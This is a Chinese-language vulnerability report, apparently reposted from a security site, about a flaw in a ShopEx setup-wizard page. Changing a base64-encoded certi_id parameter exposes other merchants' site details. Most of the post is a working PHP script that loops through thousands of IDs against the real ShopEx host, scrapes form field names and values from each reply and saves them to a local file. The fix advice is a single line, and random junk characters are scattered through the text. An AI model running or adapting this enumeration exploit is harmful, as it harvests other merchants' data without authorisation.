ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
0 v- ?, Y9 Z9 o+ \) m. p0 P: M3 {3 hShopEx某接口缺陷,可遍历所有网站
+ {+ U' a+ W6 `  f' G1 j, [, ], G详细说明：
! I8 y" z' R4 w0 O问题出现在shopex 网店使用向导页面
1 r: {: B! Q" S! q$ \3 T2 y2 z
) V6 u3 \7 l/ r0 A, K; C
. D& u' A; {; `
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


: A( r! A+ K+ u7 ~$ n. y1 S& ?+ i
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


" ]8 X. E( j1 K' }2 D
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. {  L) Y- I* x9 F5 o* W. }& \2 X

7 h5 ^, i# w0 w% j/ F% i; e
. |9 w: q& A- f' R* l% h2 L<?php

* p- z# Y0 }& q' e                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
- ~  a4 P- r0 V( Y5 g
+ B, Q' T& c/ n' n. c                }

                function ShowshopExD($cid) {
! A. V, S, `1 s; ^( m# w+ t) S, m
                $url='http://guide.ecos.shopex.cn/step2.php';
+ N# w/ I* J  ]; W& q* [! T
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
* f- ~2 @5 \. ^/ o/ w* M  L5 j" u
        $ch = curl_init($url);
' {8 @" l% K9 T5 M6 P* y! L
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
. B9 Q6 O1 U# E5 [  L& j
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
& ]1 v* _, l" {+ V! V: y, s
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
- Q) ?- X2 R' Q' X3 n# ?+ M* S
3 D  a2 b; Z9 O/ y        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
6 _% H) m5 s1 g3 H$ D: s
" R; }3 Q/ I5 W  l8 @" Q- A! m                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
' w8 R4 O2 r. r( p/ s  ~3 A9 \
: W$ ?% l4 O3 D( N                        echo $res[1][0].':'.$res[3][0]."\r\n";
9 l& n2 d+ L4 D. f
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, |; }3 c# P- n( A& w# p! b. a
                        fwrite($fp, $col, strlen($col));

- e! e% ^9 h9 }9 V                }
* `$ M$ w, n) S; ]8 Y+ k; e
                echo '--------------------------------'."\r\n";

                fclose($fp);
) L5 G; p! E4 Y8 @: r3 }! w
        }
6 O- [# K% h; [; U* e, ^
        flush();
3 p5 j* t8 M- b3 [6 p
        curl_close($ch);

4 W# j6 y' s0 `3 q                }

" U6 e" v" z. i# X8 U5 i?>
3 {/ q- `# i% z0 i5 F8 h漏洞证明：
$ W9 E( `; f* |- i! j8 C) e% X- yhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式